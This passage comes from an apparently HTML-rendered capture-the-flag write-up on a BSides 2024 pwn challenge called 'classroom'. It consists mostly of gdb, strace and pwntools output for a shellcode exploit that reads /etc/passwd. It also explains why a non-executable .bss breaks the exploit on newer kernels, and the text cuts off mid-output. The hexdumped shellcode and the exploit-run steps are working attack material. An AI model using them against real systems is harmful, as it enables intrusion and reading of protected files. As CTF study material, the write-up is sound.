   <span class="mh">0x0000000000602073</span> <span class="o">&lt;+</span><span class="mi">51</span><span class="o">&gt;:</span>    <span class="n">add</span>    <span class="n">rsp</span><span class="p">,</span><span class="mh">0x30</span>
   <span class="mh">0x0000000000602077</span> <span class="o">&lt;+</span><span class="mi">55</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rdx</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="p">]</span>
   <span class="mh">0x000000000060207b</span> <span class="o">&lt;+</span><span class="mi">59</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">r10</span><span class="p">,</span><span class="n">rdx</span>
   <span class="mh">0x000000000060207e</span> <span class="o">&lt;+</span><span class="mi">62</span><span class="o">&gt;:</span>    <span class="n">push</span>   <span class="mh">0x28</span>
   <span class="mh">0x0000000000602080</span> <span class="o">&lt;+</span><span class="mi">64</span><span class="o">&gt;:</span>    <span class="n">pop</span>    <span class="n">rax</span>
   <span class="mh">0x0000000000602081</span> <span class="o">&lt;+</span><span class="mi">65</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">r8</span>
   <span class="mh">0x0000000000602084</span> <span class="o">&lt;+</span><span class="mi">68</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rbx</span>
   <span class="mh">0x0000000000602087</span> <span class="o">&lt;+</span><span class="mi">71</span><span class="o">&gt;:</span>    <span class="n">cdq</span>
   <span class="mh">0x0000000000602088</span> <span class="o">&lt;+</span><span class="mi">72</span><span class="o">&gt;:</span>    <span class="n">syscall</span>
   <span class="mh">0x000000000060208a</span> <span class="o">&lt;+</span><span class="mi">74</span><span class="o">&gt;:</span>    <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x000000000060208b</span> <span class="o">&lt;+</span><span class="mi">75</span><span class="o">&gt;:</span>    <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x000000000060208c</span> <span class="o">&lt;+</span><span class="mi">76</span><span class="o">&gt;:</span>    <span class="n">je</span>     <span class="mh">0x6020ef</span>
   <span class="mh">0x000000000060208e</span> <span class="o">&lt;+</span><span class="mi">78</span><span class="o">&gt;:</span>    <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x000000000060208f</span> <span class="o">&lt;+</span><span class="mi">79</span><span class="o">&gt;:</span>    <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x0000000000602090</span> <span class="o">&lt;+</span><span class="mi">80</span><span class="o">&gt;:</span>    <span class="n">jne</span>    <span class="mh">0x6020f3</span>
   <span class="mh">0x0000000000602092</span> <span class="o">&lt;+</span><span class="mi">82</span><span class="o">&gt;:</span>    <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x0000000000602093</span> <span class="o">&lt;+</span><span class="mi">83</span><span class="o">&gt;:</span>    <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x0000000000602094</span> <span class="o">&lt;+</span><span class="mi">84</span><span class="o">&gt;:</span>    <span class="n">jbe</span>    <span class="mh">0x6020f7</span>
   <span class="mh">0x0000000000602096</span> <span class="o">&lt;+</span><span class="mi">86</span><span class="o">&gt;:</span>    <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x0000000000602097</span> <span class="o">&lt;+</span><span class="mi">87</span><span class="o">&gt;:</span>    <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x0000000000602098</span> <span class="o">&lt;+</span><span class="mi">88</span><span class="o">&gt;:</span>    <span class="n">ja</span>     <span class="mh">0x6020fb</span>
   <span class="mh">0x000000000060209a</span> <span class="o">&lt;+</span><span class="mi">90</span><span class="o">&gt;:</span>    <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x000000000060209b</span> <span class="o">&lt;+</span><span class="mi">91</span><span class="o">&gt;:</span>    <span class="p">(</span><span class="n">bad</span><span class="p">)</span>
   <span class="mh">0x000000000060209c</span> <span class="o">&lt;+</span><span class="mi">92</span><span class="o">&gt;:</span>    <span class="n">or</span>     <span class="n">al</span><span class="p">,</span><span class="n">BYTE</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rax</span><span class="p">]</span>
   <span class="mh">0x000000000060209e</span> <span class="o">&lt;+</span><span class="mi">94</span><span class="o">&gt;:</span>    <span class="n">add</span>    <span class="n">BYTE</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rax</span><span class="p">],</span><span class="n">al</span>
<span class="n">End</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">dump</span><span class="p">.</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">quit</span>
<span class="n">Detaching</span> <span class="n">from</span> <span class="n">program</span><span class="o">:</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="p">,</span> <span class="n">process</span> <span class="mi">36508</span>
<span class="p">[</span><span class="n">Inferior</span> <span class="mi">1</span> <span class="p">(</span><span class="n">process</span> <span class="mi">36508</span><span class="p">)</span> <span class="n">detached</span><span class="p">]</span>
<span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> 
</code></pre></div></div>

<p>And, we get a segmentation fault although our shellcode is completely intact.</p>

<h2 id="relatively-modern-linux-kernels">Relatively modern linux kernels</h2>

<p>We can run the same exploit via strace to see what exactly is happening. 
Modify the following in <code class="language-plaintext highlighter-rouge">sploit.py</code> function <code class="language-plaintext highlighter-rouge">start_local()</code> to strace the binary.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># return process([exe.path] + argv, *a, **kw)
</span><span class="k">return</span> <span class="n">process</span><span class="p">(</span><span class="s">'strace ./classroom'</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
</code></pre></div></div>

<p>You can also comment out <code class="language-plaintext highlighter-rouge">context.log_level = 'debug'</code> to get a less cluttered output.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> <span class="n">python3</span> <span class="n">sploit</span><span class="p">.</span><span class="n">py</span> <span class="n">LOCAL</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span>
    <span class="n">Arch</span><span class="o">:</span>     <span class="n">amd64</span><span class="o">-</span><span class="mi">64</span><span class="o">-</span><span class="n">little</span>
    <span class="n">RELRO</span><span class="o">:</span>    <span class="n">Full</span> <span class="n">RELRO</span>
    <span class="n">Stack</span><span class="o">:</span>    <span class="n">No</span> <span class="n">canary</span> <span class="n">found</span>
    <span class="n">NX</span><span class="o">:</span>       <span class="n">NX</span> <span class="n">unknown</span> <span class="o">-</span> <span class="n">GNU_STACK</span> <span class="n">missing</span>
    <span class="n">PIE</span><span class="o">:</span>      <span class="n">No</span> <span class="n">PIE</span> <span class="p">(</span><span class="mh">0x400000</span><span class="p">)</span>
    <span class="n">Stack</span><span class="o">:</span>    <span class="n">Executable</span>
    <span class="n">RWX</span><span class="o">:</span>      <span class="n">Has</span> <span class="n">RWX</span> <span class="n">segments</span>
<span class="mo">00000000</span>  <span class="mi">6</span><span class="n">a</span> <span class="mo">02</span> <span class="mi">41</span> <span class="mi">58</span>  <span class="mi">68</span> <span class="mi">72</span> <span class="mi">76</span> <span class="mi">65</span>  <span class="mo">01</span> <span class="mi">81</span> <span class="mi">34</span> <span class="mi">24</span>  <span class="mo">01</span> <span class="mo">01</span> <span class="mo">01</span> <span class="mo">01</span>  <span class="err">│</span><span class="n">j</span><span class="err">·</span><span class="n">AX</span><span class="err">│</span><span class="n">hrve</span><span class="err">│··</span><span class="mi">4</span><span class="err">$│····│</span>
<span class="mo">00000010</span>  <span class="mi">48</span> <span class="n">b8</span> <span class="mi">2</span><span class="n">f</span> <span class="mi">65</span>  <span class="mi">74</span> <span class="mi">63</span> <span class="mi">2</span><span class="n">f</span> <span class="mi">70</span>  <span class="mi">61</span> <span class="mi">73</span> <span class="mi">50</span> <span class="mi">6</span><span class="n">a</span>  <span class="mo">02</span> <span class="mi">58</span> <span class="mi">48</span> <span class="mi">89</span>  <span class="err">│</span><span class="n">H</span><span class="err">·</span><span class="o">/</span><span class="n">e</span><span class="err">│</span><span class="n">tc</span><span class="o">/</span><span class="n">p</span><span class="err">│</span><span class="n">asPj</span><span class="err">│·</span><span class="n">XH</span><span class="err">·│</span>
<span class="mo">00000020</span>  <span class="n">e7</span> <span class="mi">31</span> <span class="n">f6</span> <span class="mi">0</span><span class="n">f</span>  <span class="mo">05</span> <span class="mi">48</span> <span class="mi">89</span> <span class="n">c3</span>  <span class="mi">48</span> <span class="mi">89</span> <span class="n">c7</span> <span class="mi">6</span><span class="n">a</span>  <span class="mo">05</span> <span class="mi">58</span> <span class="mi">48</span> <span class="mi">89</span>  <span class="err">│·</span><span class="mi">1</span><span class="err">··│·</span><span class="n">H</span><span class="err">··│</span><span class="n">H</span><span class="err">··</span><span class="n">j</span><span class="err">│·</span><span class="n">XH</span><span class="err">·│</span>
<span class="mo">00000030</span>  <span class="n">e6</span> <span class="mi">0</span><span class="n">f</span> <span class="mo">05</span> <span class="mi">48</span>  <span class="mi">83</span> <span class="n">c4</span> <span class="mi">30</span> <span class="mi">48</span>  <span class="mi">8</span><span class="n">b</span> <span class="mi">14</span> <span class="mi">24</span> <span class="mi">49</span>  <span class="mi">89</span> <span class="n">d2</span> <span class="mi">6</span><span class="n">a</span> <span class="mi">28</span>  <span class="err">│···</span><span class="n">H</span><span class="err">│··</span><span class="mi">0</span><span class="n">H</span><span class="err">│··$</span><span class="n">I</span><span class="err">│··</span><span class="n">j</span><span class="p">(</span><span class="err">│</span>
<span class="mo">00000040</span>  <span class="mi">58</span> <span class="mi">4</span><span class="n">c</span> <span class="mi">89</span> <span class="n">c7</span>  <span class="mi">48</span> <span class="mi">89</span> <span class="n">de</span> <span class="mi">99</span>  <span class="mi">0</span><span class="n">f</span> <span class="mo">05</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">74</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="err">│</span><span class="n">XL</span><span class="err">··│</span><span class="n">H</span><span class="err">···│··</span><span class="n">aa</span><span class="err">│</span><span class="n">taaa</span><span class="err">│</span>
<span class="mo">00000050</span>  <span class="mi">75</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">76</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>  <span class="mi">77</span> <span class="mi">61</span> <span class="mi">61</span> <span class="mi">61</span>               <span class="err">│</span><span class="n">uaaa</span><span class="err">│</span><span class="n">vaaa</span><span class="err">│</span><span class="n">waaa</span><span class="err">│</span>
<span class="mo">0000005</span><span class="n">c</span>
<span class="mo">00000000</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="err">│····│····│····│····│</span>
<span class="o">*</span>
<span class="mo">000000</span><span class="mi">80</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">0</span><span class="n">c</span> <span class="mi">09</span> <span class="mi">40</span> <span class="mo">00</span>  <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span>  <span class="err">│····│····│··@·│····│</span>
<span class="mo">000000</span><span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span> <span class="mi">90</span>  <span class="err">│····│····│····│····│</span>
<span class="o">*</span>
<span class="mo">000001</span><span class="mi">90</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Starting</span> <span class="n">local</span> <span class="n">process</span> <span class="err">'</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">sh</span><span class="err">'</span><span class="o">:</span> <span class="n">pid</span> <span class="mi">36911</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Paused</span> <span class="p">(</span><span class="n">press</span> <span class="n">any</span> <span class="n">to</span> <span class="k">continue</span><span class="p">)</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Switching</span> <span class="n">to</span> <span class="n">interactive</span> <span class="n">mode</span>
<span class="p">)</span> <span class="o">=</span> <span class="mi">50</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s">"y</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span>                       <span class="o">=</span> <span class="mi">2</span>
<span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"Feel free to ask!</span><span class="se">\n</span><span class="s">&gt;&gt; "</span><span class="p">,</span> <span class="mi">21</span><span class="n">Feel</span> <span class="n">free</span> <span class="n">to</span> <span class="n">ask</span><span class="o">!</span>
<span class="o">&gt;&gt;</span> <span class="p">)</span>  <span class="o">=</span> <span class="mi">21</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s">"y</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">31</span><span class="p">)</span>                      <span class="o">=</span> <span class="mi">2</span>
<span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"Very interesting question! Let m"</span><span class="p">...,</span> <span class="mi">51</span><span class="n">Very</span> <span class="n">interesting</span> <span class="n">question</span><span class="o">!</span> <span class="n">Let</span> <span class="n">me</span> <span class="n">think</span> <span class="n">about</span> <span class="n">it</span><span class="p">..</span>
<span class="p">)</span> <span class="o">=</span> <span class="mi">51</span>
<span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">Alright! Do you have any more q"</span><span class="p">...,</span> <span class="mi">50</span>
<span class="n">Alright</span><span class="o">!</span> <span class="n">Do</span> <span class="n">you</span> <span class="n">have</span> <span class="n">any</span> <span class="n">more</span> <span class="n">questions</span><span class="o">?</span> <span class="p">(</span><span class="n">y</span><span class="o">/</span><span class="n">n</span><span class="p">)</span>
<span class="o">&gt;</span> <span class="p">)</span> <span class="o">=</span> <span class="mi">50</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s">"y</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span>                       <span class="o">=</span> <span class="mi">2</span>
<span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"Enough questions for today class"</span><span class="p">...,</span> <span class="mi">81</span><span class="n">Enough</span> <span class="n">questions</span> <span class="k">for</span> <span class="n">today</span> <span class="n">class</span><span class="p">...</span>
<span class="n">Well</span><span class="p">,</span> <span class="n">maybe</span> <span class="n">a</span> <span class="n">last</span> <span class="n">one</span> <span class="n">and</span> <span class="n">then</span> <span class="n">we</span> <span class="n">finish</span><span class="o">!</span>
<span class="o">&gt;</span> <span class="p">)</span> <span class="o">=</span> <span class="mi">81</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s">"</span><span class="se">\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220</span><span class="s">"</span><span class="p">...,</span> <span class="mi">332</span><span class="p">)</span> <span class="o">=</span> <span class="mi">332</span><span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"What are you doing here?! Kids a"</span><span class="p">...,</span> <span class="mi">58</span><span class="n">What</span> <span class="n">are</span> <span class="n">you</span> <span class="n">doing</span> <span class="n">here</span><span class="o">?!</span> <span class="n">Kids</span> <span class="n">are</span> <span class="n">not</span> <span class="n">allowed</span> <span class="n">here</span><span class="o">!</span> <span class="err">🔞</span>
<span class="p">)</span> <span class="o">=</span> <span class="mi">58</span>
<span class="o">---</span> <span class="n">SIGSEGV</span> <span class="p">{</span><span class="n">si_signo</span><span class="o">=</span><span class="n">SIGSEGV</span><span class="p">,</span> <span class="n">si_code</span><span class="o">=</span><span class="n">SEGV_ACCERR</span><span class="p">,</span> <span class="n">si_addr</span><span class="o">=</span><span class="mh">0x602040</span><span class="p">}</span> <span class="o">---</span>
<span class="o">+++</span> <span class="n">killed</span> <span class="n">by</span> <span class="n">SIGSEGV</span> <span class="p">(</span><span class="n">core</span> <span class="n">dumped</span><span class="p">)</span> <span class="o">+++</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Process</span> <span class="err">'</span><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">sh</span><span class="err">'</span> <span class="n">stopped</span> <span class="n">with</span> <span class="n">exit</span> <span class="n">code</span> <span class="mi">139</span> <span class="p">(</span><span class="n">pid</span> <span class="mi">36911</span><span class="p">)</span>
<span class="n">Segmentation</span> <span class="n">fault</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Got</span> <span class="n">EOF</span> <span class="k">while</span> <span class="n">reading</span> <span class="n">in</span> <span class="n">interactive</span>
<span class="err">$</span> 
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Got</span> <span class="n">EOF</span> <span class="k">while</span> <span class="n">sending</span> <span class="n">in</span> <span class="n">interactive</span>
<span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> 
</code></pre></div></div>

<p>The <strong>si_code</strong> <a href="https://man7.org/linux/man-pages/man2/sigaction.2.html"><code class="language-plaintext highlighter-rouge">sigaction</code></a> man page states that the <code class="language-plaintext highlighter-rouge">SEGV_ACCERR</code> error that happens when accessing <code class="language-plaintext highlighter-rouge">0x602040</code> (the address of the <code class="language-plaintext highlighter-rouge">ans</code> buffer where our shellcode resides) means <code class="language-plaintext highlighter-rouge">Invalid permissions for mapped object.</code> In other words, most probably the memory page is not mapped as executable.</p>
<blockquote>
  <p>sidenote: we cannot ROP our way to change memory permissions due to a) seccomp <del>and b) limited shellcode space</del> (correction: we could actually egghunt it if not for seccomp)</p>
</blockquote>

<p>We can verify in gdb that the memory segment from which we are trying to execute our shellcode <code class="language-plaintext highlighter-rouge">(0x602000 - 0x603000)</code> is mapped as <code class="language-plaintext highlighter-rouge">read</code>, <code class="language-plaintext highlighter-rouge">write</code>, <code class="language-plaintext highlighter-rouge">private</code>, but not <code class="language-plaintext highlighter-rouge">execute</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">info</span> <span class="n">proc</span> <span class="n">mappings</span>
<span class="n">process</span> <span class="mi">37032</span>
<span class="n">Mapped</span> <span class="n">address</span> <span class="n">spaces</span><span class="p">:</span>

          <span class="n">Start</span> <span class="n">Addr</span>           <span class="n">End</span> <span class="n">Addr</span>       <span class="n">Size</span>     <span class="n">Offset</span>  <span class="n">Perms</span>  <span class="n">objfile</span>
            <span class="mh">0x400000</span>           <span class="mh">0x402000</span>     <span class="mh">0x2000</span>        <span class="mh">0x0</span>  <span class="n">r</span><span class="o">-</span><span class="n">xp</span>   <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span>
            <span class="mh">0x601000</span>           <span class="mh">0x602000</span>     <span class="mh">0x1000</span>     <span class="mh">0x1000</span>  <span class="n">r</span><span class="o">--</span><span class="n">p</span>   <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span>
            <span class="mh">0x602000</span>           <span class="mh">0x603000</span>     <span class="mh">0x1000</span>     <span class="mh">0x2000</span>  <span class="n">rw</span><span class="o">-</span><span class="n">p</span>   <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span>   <span class="o">&lt;---</span>
           <span class="mh">0x15a5000</span>          <span class="mh">0x15c6000</span>    <span class="mh">0x21000</span>        <span class="mh">0x0</span>  <span class="n">rw</span><span class="o">-</span><span class="n">p</span>   <span class="p">[</span><span class="n">heap</span><span class="p">]</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> 
</code></pre></div></div>

<p>We can also see that the specific memory segment is part of the <a href="https://blog.mbedded.ninja/programming/languages/c/bss-section/"><code class="language-plaintext highlighter-rouge">.bss</code></a> section</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">info</span> <span class="nb">file</span>
<span class="n">Symbols</span> <span class="k">from</span> <span class="s">"/home/kidd/Desktop/WORK/bsides24/pwn/classroom"</span><span class="p">.</span>
<span class="n">Native</span> <span class="n">process</span><span class="p">:</span>
        <span class="n">Using</span> <span class="n">the</span> <span class="n">running</span> <span class="n">image</span> <span class="n">of</span> <span class="n">attached</span> <span class="n">Thread</span> <span class="mh">0x7f440d346740</span> <span class="p">(</span><span class="n">LWP</span> <span class="mi">37032</span><span class="p">).</span>
        <span class="n">While</span> <span class="n">running</span> <span class="n">this</span><span class="p">,</span> <span class="n">GDB</span> <span class="n">does</span> <span class="ow">not</span> <span class="n">access</span> <span class="n">memory</span> <span class="k">from</span><span class="p">...</span>
<span class="n">Local</span> <span class="k">exec</span> <span class="nb">file</span><span class="p">:</span>
        <span class="err">`</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="s">', file type elf64-x86-64.
        Entry point: 0x400760
...[snip]...
        0x0000000000601d98 - 0x0000000000601f98 is .dynamic
        0x0000000000601f98 - 0x0000000000602000 is .got
        0x0000000000602000 - 0x0000000000602010 is .data
        0x0000000000602020 - 0x00000000006020a0 is .bss   &lt;---
...[snip]...
pwndbg&gt; 
</span></code></pre></div></div>

<p>So how come .bss section is not executable? This can be debated, but my guess is that this challenge has been created for older kernels.</p>

<p>At some point in spring 2020 there was a <a href="https://lore.kernel.org/all/20200327064820.12602-1-keescook@chromium.org/">patch</a> submitted in the linux kernel that disabled <code class="language-plaintext highlighter-rouge">READ_IMPLIES_EXEC</code>, and by proxy the execute permission of - among others - the <code class="language-plaintext highlighter-rouge">.bss</code> section. This <a href="https://stackoverflow.com/questions/64833715/linux-default-behavior-of-executable-data-section-changed-between-5-4-and-5-9/64837581#64837581">apparently</a> took effect at kernel 5.8.</p>

<p>Right. How can we proceed? Spin up an ubuntu 18.04 and try the same thing there.</p>

<blockquote>
  <p>note: it might be possible to enable <code class="language-plaintext highlighter-rouge">READ_IMPLIES_EXEC</code> using <a href="https://man7.org/linux/man-pages/man8/setarch.8.html"><code class="language-plaintext highlighter-rouge">setarch</code></a>, but i had no luck in with kali rolling @6.8.11. For example using: <code class="language-plaintext highlighter-rouge">setarch x86_64 -v --read-implies-exec ./classroom</code></p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>user@u1804:~<span class="nv">$ </span><span class="nb">uname</span> <span class="nt">-a</span>
Linux u1804 4.15.0-213-generic <span class="c">#224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux</span>
user@u1804:~<span class="nv">$ </span><span class="nb">cat </span>serve.sh
<span class="c">#!/bin/sh</span>
socat <span class="se">\</span>
<span class="nt">-v</span> <span class="nt">-T120</span> <span class="se">\</span>
TCP-LISTEN:8000,reuseaddr,fork <span class="se">\</span>
EXEC:<span class="s2">"timeout 120 strace ./classroom"</span>
user@u1804:~<span class="nv">$ </span>./serve.sh 
</code></pre></div></div>

<p>Then run <code class="language-plaintext highlighter-rouge">sploit.py</code> again specifing the remote endpoint</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> <span class="n">python3</span> <span class="n">sploit</span><span class="p">.</span><span class="n">py</span> 
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="s">'/home/kidd/Desktop/WORK/bsides24/pwn/classroom'</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">Opening</span> <span class="n">connection</span> <span class="n">to</span> <span class="mf">192.168</span><span class="p">.</span><span class="mf">13.37</span> <span class="n">on</span> <span class="n">port</span> <span class="mi">8000</span><span class="p">:</span> <span class="n">Done</span>
<span class="p">[</span><span class="o">*</span><span class="p">]</span> <span class="n">Paused</span> <span class="p">(</span><span class="n">press</span> <span class="nb">any</span> <span class="n">to</span> <span class="k">continue</span><span class="p">)</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
</code></pre></div></div>

<p>Inspecting output on <code class="language-plaintext highlighter-rouge">serve.sh</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>execve<span class="o">(</span><span class="s2">"./classroom"</span>, <span class="o">[</span><span class="s2">"./classroom"</span><span class="o">]</span>, 0x7fffe16e2020 /<span class="k">*</span> 30 vars <span class="k">*</span>/<span class="o">)</span> <span class="o">=</span> 0
...[snip]...

Alright! Do you have any more questions? <span class="o">(</span>y/n<span class="o">)</span>
<span class="o">&gt;</span> <span class="o">&gt;</span> 2024/08/06 19:05:54.122579  <span class="nv">length</span><span class="o">=</span>2 <span class="nv">from</span><span class="o">=</span>109 <span class="nv">to</span><span class="o">=</span>110
y
<span class="s2">"y</span><span class="se">\n</span><span class="s2">"</span>, 4<span class="o">)</span>                       <span class="o">=</span> 2
write<span class="o">(</span>1, <span class="s2">"Enough questions for today class"</span>..., 81<span class="o">)</span> <span class="o">=</span> 81
<span class="nb">read</span><span class="o">(</span>0, &lt; 2024/08/06 19:05:54.123127  <span class="nv">length</span><span class="o">=</span>81 <span class="nv">from</span><span class="o">=</span>664 <span class="nv">to</span><span class="o">=</span>744
Enough questions <span class="k">for </span>today class...
Well, maybe a last one and <span class="k">then </span>we finish!
<span class="o">&gt;</span> <span class="o">&gt;</span> 2024/08/06 19:05:54.131643  <span class="nv">length</span><span class="o">=</span>400 <span class="nv">from</span><span class="o">=</span>111 <span class="nv">to</span><span class="o">=</span>510
........................................................................................................................................<span class="se">\f</span>      @.....................................................................................................................................................................................................................................................................<span class="s2">"</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span class="se">\2</span><span class="s2">20</span><span 